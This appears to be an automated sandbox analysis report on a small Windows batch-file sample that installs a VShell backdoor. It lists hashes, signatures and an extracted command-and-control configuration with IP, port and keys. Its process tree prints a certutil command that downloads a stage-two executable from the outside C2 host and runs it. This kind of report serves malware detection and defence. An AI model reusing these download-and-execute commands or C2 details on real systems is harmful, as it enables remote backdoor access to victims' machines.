Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 00:22
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 500B
- Sample260930-apdk9axv6j
- SHA256 c4e4749d771622ba86c9770ae02b5703220203025cdfadaef13454b48e80a98d
- MD5 54fc2cf81abf4dce8fd823afc87bc650
- SHA1 661e2a2a06517179da4358c2951de9769afd8f1b
- SHA512 a1eadbfe32d663036818ffa5dcbad508635e1be22c816968ec442388d680970b86457dd99cfd23328fce969c1fd8540d81a5769e7e817e1728fd0b43cbe21c7b
- TLSH T18CF09E8C141A08B50789C90374E074C2B14E40C14EA1E46D19C825DA4EC9599BDFFE81
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
120.26.120.83
Attributes
-
port
8084
-
salt
qwe123qwe
-
type
ws
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/3736-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 1512 certutil.exe 7 1512 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3736 79d1174dtcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4904 cmd.exe 4092 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 79d1174dtcp.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 79d1174dtcp.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4248 WMIC.exe 4248 WMIC.exe 4248 WMIC.exe 4248 WMIC.exe 3736 79d1174dtcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4248 WMIC.exe Token: SeSecurityPrivilege 4248 WMIC.exe Token: SeTakeOwnershipPrivilege 4248 WMIC.exe Token: SeLoadDriverPrivilege 4248 WMIC.exe Token: SeSystemProfilePrivilege 4248 WMIC.exe Token: SeSystemtimePrivilege 4248 WMIC.exe Token: SeProfSingleProcessPrivilege 4248 WMIC.exe Token: SeIncBasePriorityPrivilege 4248 WMIC.exe Token: SeCreatePagefilePrivilege 4248 WMIC.exe Token: SeBackupPrivilege 4248 WMIC.exe Token: SeRestorePrivilege 4248 WMIC.exe Token: SeShutdownPrivilege 4248 WMIC.exe Token: SeDebugPrivilege 4248 WMIC.exe Token: SeSystemEnvironmentPrivilege 4248 WMIC.exe Token: SeRemoteShutdownPrivilege 4248 WMIC.exe Token: SeUndockPrivilege 4248 WMIC.exe Token: SeManageVolumePrivilege 4248 WMIC.exe Token: 33 4248 WMIC.exe Token: 34 4248 WMIC.exe Token: 35 4248 WMIC.exe Token: 36 4248 WMIC.exe Token: SeIncreaseQuotaPrivilege 4248 WMIC.exe Token: SeSecurityPrivilege 4248 WMIC.exe Token: SeTakeOwnershipPrivilege 4248 WMIC.exe Token: SeLoadDriverPrivilege 4248 WMIC.exe Token: SeSystemProfilePrivilege 4248 WMIC.exe Token: SeSystemtimePrivilege 4248 WMIC.exe Token: SeProfSingleProcessPrivilege 4248 WMIC.exe Token: SeIncBasePriorityPrivilege 4248 WMIC.exe Token: SeCreatePagefilePrivilege 4248 WMIC.exe Token: SeBackupPrivilege 4248 WMIC.exe Token: SeRestorePrivilege 4248 WMIC.exe Token: SeShutdownPrivilege 4248 WMIC.exe Token: SeDebugPrivilege 4248 WMIC.exe Token: SeSystemEnvironmentPrivilege 4248 WMIC.exe Token: SeRemoteShutdownPrivilege 4248 WMIC.exe Token: SeUndockPrivilege 4248 WMIC.exe Token: SeManageVolumePrivilege 4248 WMIC.exe Token: 33 4248 WMIC.exe Token: 34 4248 WMIC.exe Token: 35 4248 WMIC.exe Token: 36 4248 WMIC.exe Token: SeDebugPrivilege 3736 79d1174dtcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4904 wrote to memory of 4092 4904 cmd.exe 90 PID 4092 wrote to memory of 4248 4092 cmd.exe 91 PID 4092 wrote to memory of 4100 4092 cmd.exe 92 PID 4904 wrote to memory of 1512 4904 cmd.exe 94 PID 4904 wrote to memory of 3736 4904 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4248
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4100
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://120.26.120.83:8084/?h=120.26.120.83&p=8084&t=tcp&a=w64&stage=true" "C:\Users\Public\79d1174dtcp.exe"2⤵
- Downloads MZ/PE file
PID:1512
-
-
C:\Users\Public\79d1174dtcp.exe"C:\Users\Public\79d1174dtcp.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\79d1174dtcp.exe
- Size 3KB
- SHA256 ee5e9d5f0c7c6916eabd0d6bb9db573fb0c2808924c2e41dd9f3224d789981d7
- MD5 b068f38757134531bcb0489d96324ae0
- SHA1 11098dacda6ba8520fcf815b9b40bc687137a386
- SHA512 c90e4c01030499293039aa5c074e4f7ec4521cd44aea26f1bfeadb9acb37bd8de1767d3bc31de8309bd551561e5b085d16b782e183088df1b73462d3f47ff0bc
- TLSH T1AE71B54160505AF2D94CE37F8487B895FD4FB248A2C84B0F0398981A2F7507BB1D9613
- MD5 SHA1 SHA512 TLSH